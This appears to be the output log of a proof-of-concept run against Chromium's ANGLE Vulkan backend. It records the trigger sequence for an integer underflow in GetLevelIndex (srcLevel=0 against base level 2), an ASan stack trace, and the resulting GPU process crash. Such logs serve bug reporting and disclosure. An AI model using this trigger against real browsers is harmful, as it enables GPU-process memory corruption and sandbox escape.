[POC][renderer pid=2621] starting CopySubTextureCHROMIUM BASE_LEVEL-toggle underflow sequence [POC][renderer] program link status=1 [POC][renderer] draw err=0x0 [POC][renderer] issuing CopySubTextureCHROMIUM(src=2, srcLevel=0, dst=3) [POC][gpu pid=2542] CWE-191 INTEGER UNDERFLOW in gl_vk::GetLevelIndex: levelGL=0 baseLevel(mFirstAllocatedLevel)=2 -> vk mipLevel=4294967294 (0xFFFFFFFE) -> vkCmdCopyImage [2510:2510:0526/200401.848548:INFO:CONSOLE:10] "WebGL2 context created; renderer = WebKit WebGL", source: http://127.0.0.1:8080/poc.html (10) [2510:2510:0526/200401.848625:INFO:CONSOLE:10] "Calling gl.finish() -> injected renderer code issues the CopySubTextureCHROMIUM(srcLevel=0) BASE_LEVEL-toggle sequence over the GLES2 command buffer to the GPU process.", source: http://127.0.0.1:8080/poc.html (10) #0 0x5814760e1d95 in __sanitizer_print_stack_trace (/chromium/chromium/src/out/asan/chrome+0x11323d95) (BuildId: 81c0a70ecdde7503) #1 0x75783e7159e9 in rx::gl_vk::GetLevelIndex(gl::LevelIndexWrapper, gl::LevelIndexWrapper) third_party/angle/src/libANGLE/renderer/vulkan/vk_utils.cpp:1994:9 #2 0x75783e4c8eb2 in rx::TextureVk::copySubImageImplWithTransfer(rx::ContextVk*, gl::ImageIndex const&, angle::Offset const&, rx::vk::Format const&, gl::LevelIndexWrapper, unsigned long, gl::Box const&, rx::vk::ImageHelper*) third_party/angle/src/libANGLE/renderer/vulkan/TextureVk.cpp:1877:57 #3 0x75783e4c6f23 in rx::TextureVk::copySubTextureImpl(rx::ContextVk*, gl::ImageIndex const&, angle::Offset const&, gl::InternalFormat const&, gl::LevelIndexWrapper, gl::Box const&, bool, bool, bool, rx::TextureVk*) third_party/angle/src/libANGLE/renderer/vulkan/TextureVk.cpp:1753:16 #4 0x75783e4c84f1 in rx::TextureVk::copySubTexture(gl::Context const*, gl::ImageIndex const&, angle::Offset const&, int, gl::Box const&, bool, bool, bool, gl::Texture const*) third_party/angle/src/libANGLE/renderer/vulkan/TextureVk.cpp:1550:12 #5 0x75783ea7228a in gl::Texture::copySubTexture(gl::Context const*, gl::TextureTarget, int, angle::Offset const&, int, gl::Box const&, bool, bool, bool, gl::Texture*) third_party/angle/src/libANGLE/Texture.cpp:1759:25 #6 0x75783e895499 in gl::Context::copySubTexture(gl::TextureID, int, gl::TextureTarget, gl::TextureID, int, int, int, int, int, int, int, unsigned char, unsigned char, unsigned char) third_party/angle/src/libANGLE/Context.cpp:5999:36 #7 0x75783e3535b2 in GL_CopySubTextureCHROMIUM third_party/angle/src/libGLESv2/entry_points_gles_ext_autogen.cpp:6552:22 #8 0x581492669ee6 in gl::GLApiBase::glCopySubTextureCHROMIUMFn(unsigned int, int, unsigned int, unsigned int, int, int, int, int, int, int, int, unsigned char, unsigned char, unsigned char) ui/gl/gl_bindings_autogen_gl.cc:2368:3 #9 0x5814981eb0b9 in gpu::gles2::GLES2DecoderPassthroughImpl::DoCopySubTextureCHROMIUM(unsigned int, int, unsigned int, unsigned int, int, int, int, int, int, int, int, unsigned char, unsigned char, unsigned char) gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc:4359:10 #10 0x5814983eb279 in gpu::gles2::GLES2DecoderPassthroughImpl::HandleCopySubTextureCHROMIUM(unsigned int, void const volatile*) gpu/command_buffer/service/gles2_cmd_decoder_passthrough_handlers_autogen.cc:4115:24 #11 0x581498175905 in gpu::error::Error gpu::gles2::GLES2DecoderPassthroughImpl::DoCommandsImpl(unsigned int, void const volatile*, int, int*) gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc:905:20 #12 0x581481309754 in gpu::CommandBufferService::Flush(int, gpu::AsyncAPIInterface*) gpu/command_buffer/service/command_buffer_service.cc:267:35 #13 0x5814987a1b3b in gpu::CommandBufferStub::OnAsyncFlush(int, unsigned int, std::__Cr::vector> const&) gpu/ipc/service/command_buffer_stub.cc:504:22 #14 0x5814987a0dac in gpu::CommandBufferStub::ExecuteDeferredRequest(gpu::mojom::DeferredCommandBufferRequestParams&, gpu::FenceSyncReleaseDelegate*) gpu/ipc/service/command_buffer_stub.cc:173:7 #15 0x5814987b67bc in gpu::GpuChannel::ExecuteDeferredRequest(mojo::StructPtr, gpu::FenceSyncReleaseDelegate*) gpu/ipc/service/gpu_channel.cc:854:13 #16 0x5814987c5267 in void base::internal::DecayedFunctorTraits, gpu::FenceSyncReleaseDelegate*), base::WeakPtr&&, mojo::StructPtr&&>::Invoke, gpu::FenceSyncReleaseDelegate*), base::WeakPtr const&, mojo::StructPtr, gpu::FenceSyncReleaseDelegate*>(void (gpu::GpuChannel::*)(mojo::StructPtr, gpu::FenceSyncReleaseDelegate*), base::WeakPtr const&, mojo::StructPtr&&, gpu::FenceSyncReleaseDelegate*&&) base/functional/bind_internal.h:740:12 #17 0x5814987c5049 in base::internal::Invoker, gpu::FenceSyncReleaseDelegate*), base::WeakPtr&&, mojo::StructPtr&&>, base::internal::BindState, gpu::FenceSyncReleaseDelegate*), base::WeakPtr, mojo::StructPtr>, void (gpu::FenceSyncReleaseDelegate*)>::RunOnce(base::internal::BindStateBase*, gpu::FenceSyncReleaseDelegate*) base/functional/bind_internal.h:956:5 #18 0x581481350a81 in void base::internal::Invoker&&, gpu::FenceSyncReleaseDelegate*>, base::internal::BindState, base::internal::UnretainedWrapper>, void ()>::RunImpl, std::__Cr::tuple>, 0ul>(base::OnceCallback&&, std::__Cr::tuple>&&, std::__Cr::integer_sequence) base/functional/callback.h:155:12 #19 0x58148132416e in gpu::Scheduler::ExecuteSequence(base::IdType) base/functional/callback.h:155:12 #20 0x581481321b58 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:628:3 #21 0x581481325fe1 in base::internal::Invoker, base::internal::BindState>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12 #22 0x58148e70f3e3 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12 #23 0x58148e77ea9c in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5 #24 0x58148e77d93a in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40 #25 0x58148e9330d8 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46 #26 0x58148e936698 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43 #27 0x79784da53718 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x54718) (BuildId: 42c28e95f24a721d8e8e159f42dbc541f0ff353d) [2621:2621:0526/200402.902838:ERROR:gpu/ipc/client/command_buffer_proxy_impl.cc:488] GPU state invalid after WaitForGetOffsetInRange. [POC][renderer] CopySubTextureCHROMIUM err=0x0 [POC][renderer] sequence complete [2510:2510:0526/200402.903365:ERROR:content/browser/gpu/gpu_process_host.cc:1006] GPU process exited unexpectedly: exit_code=10752 [2510:2510:0526/200402.903408:WARNING:content/browser/gpu/gpu_process_host.cc:1448] The GPU process has crashed 1 time(s) [2510:2510:0526/200402.907661:INFO:CONSOLE:10] "gl.finish() returned (if you see this, the GPU process may have survived; check stderr for [POC][gpu] underflow line).", source: http://127.0.0.1:8080/poc.html (10) [2510:2510:0526/200402.927628:INFO:CONSOLE:32] "WebGL: CONTEXT_LOST_WEBGL: loseContext: context lost", source: http://127.0.0.1:8080/poc.html (32) [2510:2525:0526/200406.171769:ERROR:google_apis/gcm/engine/registration_request.cc:291] Registration response error message: PHONE_REGISTRATION_ERROR [2510:2525:0526/200406.179844:ERROR:google_apis/gcm/engine/registration_request.cc:291] Registration response error message: PHONE_REGISTRATION_ERROR [2510:2525:0526/200427.378573:ERROR:google_apis/gcm/engine/registration_request.cc:291] Registration response error message: DEPRECATED_ENDPOINT